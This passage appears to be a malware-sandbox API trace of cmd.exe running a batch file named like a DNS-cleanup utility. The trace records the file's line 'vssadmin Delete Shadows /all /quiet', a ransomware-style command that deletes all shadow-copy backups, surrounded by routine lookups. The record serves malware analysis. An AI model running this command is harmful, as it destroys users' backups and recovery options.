(in: lpName="KEYS", lpBuffer=0xfce4a0, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0072.626] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0072.626] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0072.626] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0072.626] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0072.626] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0072.626] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0072.626] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0072.626] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0072.626] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0xc5f6c0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x1d [0072.626] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x104, lpBuffer=0xc5f6c0, lpFilePart=0xc5f6b8 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0xc5f6b8*="Desktop") returned 0x1d [0072.626] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0072.626] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0xc5f440 | out: lpFindFileData=0xc5f440) returned 0xe505c8 [0072.626] FindClose (in: hFindFile=0xe505c8 | out: hFindFile=0xe505c8) returned 1 [0072.626] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", lpFindFileData=0xc5f440 | out: lpFindFileData=0xc5f440) returned 0xe505c8 [0072.627] FindClose (in: hFindFile=0xe505c8 | out: hFindFile=0xe505c8) returned 1 [0072.627] _wcsnicmp (_String1="CIIHMN~1", _String2="CIiHmnxMn6Ps", _MaxCount=0xc) returned 6 [0072.627] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFindFileData=0xc5f440 | out: lpFindFileData=0xc5f440) returned 0xe505c8 [0072.627] FindClose (in: hFindFile=0xe505c8 | out: hFindFile=0xe505c8) returned 1 [0072.627] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0072.627] SetCurrentDirectoryW (lpPathName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 1 [0072.627] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1 [0072.627] GetEnvironmentStringsW () returned 0xe57e30* [0072.627] FreeEnvironmentStringsA (penv="=") returned 1 [0072.627] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0xfd6720 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x1d [0072.629] GetConsoleOutputCP () returned 0x1b5 [0072.631] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xfce460 | out: lpCPInfo=0xfce460) returned 1 [0072.631] GetUserDefaultLCID () returned 0x409 [0072.631] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0xfd24a0, cchData=8 | out: lpLCData=":") returned 2 [0072.631] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xc5f7f0, cchData=128 | out: lpLCData="0") returned 2 [0072.631] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xc5f7f0, cchData=128 | out: lpLCData="0") returned 2 [0072.631] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xc5f7f0, cchData=128 | out: lpLCData="1") returned 2 [0072.631] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0xfd24b0, cchData=8 | out: lpLCData="/") returned 2 [0072.631] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0xfd2500, cchData=32 | out: lpLCData="Mon") returned 4 [0072.631] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0xfd2540, cchData=32 | out: lpLCData="Tue") returned 4 [0072.631] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0xfd2580, cchData=32 | out: lpLCData="Wed") returned 4 [0072.631] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0xfd25c0, cchData=32 | out: lpLCData="Thu") returned 4 [0072.631] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0xfd2600, cchData=32 | out: lpLCData="Fri") returned 4 [0072.631] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0xfd2640, cchData=32 | out: lpLCData="Sat") returned 4 [0072.631] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0xfd2680, cchData=32 | out: lpLCData="Sun") returned 4 [0072.631] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0xfd24c0, cchData=8 | out: lpLCData=".") returned 2 [0072.631] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0xfd24e0, cchData=8 | out: lpLCData=",") returned 2 [0072.632] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0072.633] GetConsoleTitleW (in: lpConsoleTitle=0xe5ab00, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0072.633] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f40000 [0072.633] GetProcAddress (hModule=0x74f40000, lpProcName="CopyFileExW") returned 0x74f5fa80 [0072.634] GetProcAddress (hModule=0x74f40000, lpProcName="IsDebuggerPresent") returned 0x74f5a790 [0072.634] GetProcAddress (hModule=0x74f40000, lpProcName="SetConsoleInputExeNameW") returned 0x752a35c0 [0072.635] _wcsicmp (_String1="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\clearnetworkdns_11-22-33.bat\"", _String2=")") returned -7 [0072.635] _wcsicmp (_String1="FOR", _String2="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\clearnetworkdns_11-22-33.bat\"") returned 68 [0072.635] _wcsicmp (_String1="FOR/?", _String2="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\clearnetworkdns_11-22-33.bat\"") returned 68 [0072.635] _wcsicmp (_String1="IF", _String2="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\clearnetworkdns_11-22-33.bat\"") returned 71 [0072.635] _wcsicmp (_String1="IF/?", _String2="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\clearnetworkdns_11-22-33.bat\"") returned 71 [0072.635] _wcsicmp (_String1="REM", _String2="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\clearnetworkdns_11-22-33.bat\"") returned 80 [0072.635] _wcsicmp (_String1="REM/?", _String2="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\clearnetworkdns_11-22-33.bat\"") returned 80 [0072.636] GetConsoleTitleW (in: lpConsoleTitle=0xc5f4d8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0072.636] GetFileAttributesW (lpFileName="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\clearnetworkdns_11-22-33.bat\"" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\\"c:\\users\\ciihmnxmn6ps\\desktop\\clearnetworkdns_11-22-33.bat\"")) returned 0xffffffff [0072.636] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0072.636] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0072.636] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0072.636] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0072.636] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0072.636] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0072.636] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0072.636] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0072.636] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0072.636] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0072.636] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0072.636] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0072.636] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0072.636] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0072.636] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0072.636] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0072.636] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0072.636] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0072.636] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0072.637] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0072.637] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0072.637] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0072.637] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0072.637] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0072.637] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0072.637] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0072.637] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0072.637] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0072.637] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0072.637] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0072.637] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0072.637] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0072.637] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0072.637] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0072.637] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0072.637] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0072.637] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0072.637] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0072.637] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0072.637] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0072.637] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0072.637] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0072.637] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0072.637] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0072.637] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0072.637] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0072.637] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0072.637] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0072.637] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0072.637] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0072.637] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0072.637] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0072.637] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0072.637] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0072.637] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0072.637] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0072.637] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0072.637] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0072.637] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0072.637] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0072.637] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0072.637] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0072.637] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0072.637] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0072.637] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0072.637] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0072.637] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0072.637] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0072.637] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0072.637] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0072.638] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0072.638] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0072.638] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0072.638] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0072.638] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0072.638] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0072.638] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0072.638] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0072.638] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0072.638] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0072.638] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0072.638] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0072.638] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0072.638] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0072.638] _wcsicmp (_String1="\"C", _String2="FOR") returned -68 [0072.638] _wcsicmp (_String1="\"C", _String2="IF") returned -71 [0072.638] _wcsicmp (_String1="\"C", _String2="REM") returned -80 [0072.638] _wcsnicmp (_String1="C:\\U", _String2="cmd ", _MaxCount=0x4) returned -51 [0072.638] SetErrorMode (uMode=0x0) returned 0x0 [0072.638] SetErrorMode (uMode=0x1) returned 0x0 [0072.638] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\.", nBufferLength=0x208, lpBuffer=0xe505d0, lpFilePart=0xc5efe4 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0xc5efe4*="Desktop") returned 0x1d [0072.639] SetErrorMode (uMode=0x0) returned 0x1 [0072.639] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\.") returned 1 [0072.639] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xfce4a0, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0072.642] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.642] FindFirstFileExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\clearnetworkdns_11-22-33.bat", fInfoLevelId=0x1, lpFindFileData=0xc5ed90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc5ed90) returned 0xe5b3e8 [0072.643] FindClose (in: hFindFile=0xe5b3e8 | out: hFindFile=0xe5b3e8) returned 1 [0072.643] _wcsicmp (_String1=".bat", _String2=".CMD") returned -1 [0072.643] _wcsicmp (_String1=".bat", _String2=".BAT") returned 0 [0072.643] GetConsoleTitleW (in: lpConsoleTitle=0xc5f264, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0072.643] ApiSetQueryApiSetPresence () returned 0x0 [0072.643] ResolveDelayLoadedAPI () returned 0x743114a0 [0072.652] SaferWorker () returned 0x0 [0072.673] SetErrorMode (uMode=0x0) returned 0x0 [0072.673] SetErrorMode (uMode=0x1) returned 0x0 [0072.673] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\clearnetworkdns_11-22-33.bat", nBufferLength=0x104, lpBuffer=0xe5b018, lpFilePart=0xc5f114 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\clearnetworkdns_11-22-33.bat", lpFilePart=0xc5f114*="clearnetworkdns_11-22-33.bat") returned 0x3a [0072.673] SetErrorMode (uMode=0x0) returned 0x1 [0072.673] wcsspn (_String=" ", _Control=" \x09") returned 0x1 [0072.964] CmdBatNotificationStub () returned 0x1 [0072.964] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\clearnetworkdns_11-22-33.bat" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\clearnetworkdns_11-22-33.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xc5f1a4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4 [0072.964] _open_osfhandle (_OSFileHandle=0xb4, _Flags=8) returned 3 [0072.964] _get_osfhandle (_FileHandle=3) returned 0xb4 [0072.964] SetFilePointer (in: hFile=0xb4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.965] _get_osfhandle (_FileHandle=3) returned 0xb4 [0072.965] SetFilePointer (in: hFile=0xb4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.965] ReadFile (in: hFile=0xb4, lpBuffer=0xfda960, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0xc5f174, lpOverlapped=0x0 | out: lpBuffer=0xfda960*, lpNumberOfBytesRead=0xc5f174*=0x3b4, lpOverlapped=0x0) returned 1 [0072.965] SetFilePointer (in: hFile=0xb4, lDistanceToMove=11, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb [0072.965] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0xfda960, cbMultiByte=11, lpWideCharStr=0xfc57e0, cchWideChar=8191 | out: lpWideCharStr="@echo off\r\n") returned 11 [0072.966] _get_osfhandle (_FileHandle=3) returned 0xb4 [0072.966] GetFileType (hFile=0xb4) returned 0x1 [0072.966] _get_osfhandle (_FileHandle=3) returned 0xb4 [0072.966] SetFilePointer (in: hFile=0xb4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb [0072.966] _wcsicmp (_String1="echo", _String2=")") returned 60 [0072.966] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0072.966] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0072.966] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0072.966] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0072.966] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0072.966] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0072.967] _tell (_FileHandle=3) returned 11 [0072.967] _close (_FileHandle=3) returned 0 [0072.967] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0072.968] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0072.968] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0072.968] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0072.968] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0072.968] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0072.968] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0072.968] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0072.968] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0072.968] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0072.968] GetConsoleTitleW (in: lpConsoleTitle=0xc5ed58, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0072.997] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0072.997] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0072.997] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0072.997] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0072.997] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0072.997] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0072.998] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0072.998] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0072.998] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0072.998] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0072.998] _wcsnicmp (_String1="off", _String2="off", _MaxCount=0x3) returned 0 [0072.998] _get_osfhandle (_FileHandle=1) returned 0x3c [0072.998] SetConsoleMode (hConsoleHandle=0x3c, dwMode=0x3) returned 1 [0073.009] _get_osfhandle (_FileHandle=1) returned 0x3c [0073.009] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xfce40c | out: lpMode=0xfce40c) returned 1 [0073.011] _get_osfhandle (_FileHandle=0) returned 0x38 [0073.011] GetConsoleMode (in: hConsoleHandle=0x38, lpMode=0xfce408 | out: lpMode=0xfce408) returned 1 [0073.019] SetConsoleInputExeNameW () returned 0x1 [0073.019] GetConsoleOutputCP () returned 0x1b5 [0073.066] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xfce460 | out: lpCPInfo=0xfce460) returned 1 [0073.066] SetThreadUILanguage (LangId=0x0) returned 0x409 [0073.072] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\clearnetworkdns_11-22-33.bat" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\clearnetworkdns_11-22-33.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xc5f1a4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb4 [0073.072] _open_osfhandle (_OSFileHandle=0xb4, _Flags=8) returned 3 [0073.072] _get_osfhandle (_FileHandle=3) returned 0xb4 [0073.072] SetFilePointer (in: hFile=0xb4, lDistanceToMove=11, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb [0073.072] _get_osfhandle (_FileHandle=3) returned 0xb4 [0073.072] SetFilePointer (in: hFile=0xb4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb [0073.072] ReadFile (in: hFile=0xb4, lpBuffer=0xfda960, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0xc5f174, lpOverlapped=0x0 | out: lpBuffer=0xfda960*, lpNumberOfBytesRead=0xc5f174*=0x3a9, lpOverlapped=0x0) returned 1 [0073.072] SetFilePointer (in: hFile=0xb4, lDistanceToMove=48, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x30 [0073.072] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0xfda960, cbMultiByte=37, lpWideCharStr=0xfc57e0, cchWideChar=8191 | out: lpWideCharStr="vssadmin Delete Shadows /all /quiet\r\n") returned 37 [0073.073] _get_osfhandle (_FileHandle=3) returned 0xb4 [0073.073] GetFileType (hFile=0xb4) returned 0x1 [0073.073] _get_osfhandle (_FileHandle=3) returned 0xb4 [0073.073] SetFilePointer (in: hFile=0xb4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x30 [0073.074] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0073.074] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0073.074] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0073.074] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0073.074] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0073.074] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0073.074] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0073.075] _tell (_FileHandle=3) returned 48 [0073.075] _close (_FileHandle=3) returned 0 [0073.075] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0073.075] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0073.075] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0073.075] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0073.075] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0073.075] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0073.075] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0073.075] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0073.075] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0073.075] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0073.075] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0073.075] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0073.075] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0073.075] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0073.075] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0073.075] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0073.075] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0073.075] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0073.075] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0073.075] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0073.075] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0073.075] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0073.075] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0073.075] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0073.075] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0073.075] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0073.075] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0073.075] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0073.075] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0073.075] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0073.075] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0073.076] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0073.076] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0073.076] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0073.076] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0073.076] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0073.076] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0073.076] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0073.076] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0073.076] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0073.076] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0073.076] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0073.076] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0073.076] SetErrorMode (uMode=0x0) returned 0x0 [0073.076] SetErrorMode (uMode=0x1) returned 0x0 [0073.076] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0xe68448, lpFilePart=0xc5ef84 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0xc5ef84*="Desktop") returned 0x1d [0073.076] SetErrorMode (uMode=0x0) returned 0x1 [0073.076] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xfce4a0, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x87 [0073.076] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0073.079] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xfce4a0, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0073.080] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.080] FindFirstFileExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xc5ed10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc5ed10) returned 0xffffffff [0073.080] GetLastError () returned 0x2 [0073.080] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.080] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xc5ed10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc5ed10) returned 0xffffffff [0073.082] GetLastError () returned 0x2 [0073.082] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.082] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xc5ed10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xc5ed10) returned 